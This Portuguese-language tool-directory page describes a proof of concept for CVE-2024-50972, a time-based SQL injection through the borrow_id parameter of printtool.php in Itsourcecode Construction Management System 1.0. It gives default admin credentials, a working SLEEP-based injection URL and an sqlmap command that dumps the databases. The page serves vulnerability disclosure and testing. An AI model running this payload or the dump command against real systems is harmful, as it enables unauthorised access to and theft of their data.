Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-50972 — Prova de conceito para injeção SQL no Itsourcecode Construction Management System 1.0, demonstrando injeção baseada em tempo via parâmetro borrow_id e fornecendo etapas de exploração. | Kitploit
Ferramentas/GitHubGitHub/akhlak2511/cve-2024-50972
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoSegurança de Banco de Dados
GitHubakhlak2511/cve-2024-50972

CVE-2024-50972

Prova de conceito para injeção SQL no Itsourcecode Construction Management System 1.0, demonstrando injeção baseada em tempo via parâmetro borrow_id e fornecendo etapas de exploração.

Ver Repositório
3há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-50972

Descrição

Uma vulnerabilidade de injeção de SQL em printtool.php do Itsourcecode Construction Management System 1.0 permite que atacantes remotos executem comandos SQL arbitrários através do parâmetro borrow_id.

Tipo de Vulnerabilidade

Injeção de SQL

Fornecedor do Produto

Itsourcecode

Base de Código do Produto Afetado:

https://itsourcecode.com/free-projects/php-project/construction-management-system-project-in-php-with-source-code/ - 1.0

Componente Afetado:

O Itsourcecode Construction Management System v1.0 é vulnerável a injeção de SQL através do parâmetro borrow_id na página printtool.php

Vetores de Ataque:

  1. Configure a aplicação localmente e faça login com as credenciais de administrador admin:admin
  • Navegue para o seguinte URL no seu navegador: http://localhost/monitoring_system/printtool.php?borrow_id=5
  • Injete Payload de SQL: Modifique o parâmetro borrow_id no URL para incluir um payload de injeção de SQL baseado em tempo. http://localhost/monitoring_system/printtool.php?borrow_id=5'+AND+(SELECT+7254+FROM+(SELECT(SLEEP(20)))rcGT)--+xxQB
  • Observe a Resposta da Aplicação: A página deve demorar notavelmente mais (20 segundos) para carregar se a injeção for bem-sucedida, confirmando que o parâmetro borrow_id é vulnerável a injeção de SQL.
  • Agora use a ferramenta SQLMap para exploração adicional e despejo de bancos de dados usando o comando abaixo: sqlmap.py -u http://localhost/monitoring_system/printtool.php?borrow_id=5 --risk 3 --level 3 --cookie="PHPSESSID=your_cookie_here" --dbs --technique=T --dump --no-cast

    • Referência:

    1. https://itsourcecode.com/free-projects/php-project/construction-management-system-project-in-php-with-source-code/
    2. https://owasp.org/www-community/attacks/SQL_Injection
    Baixar ferramenta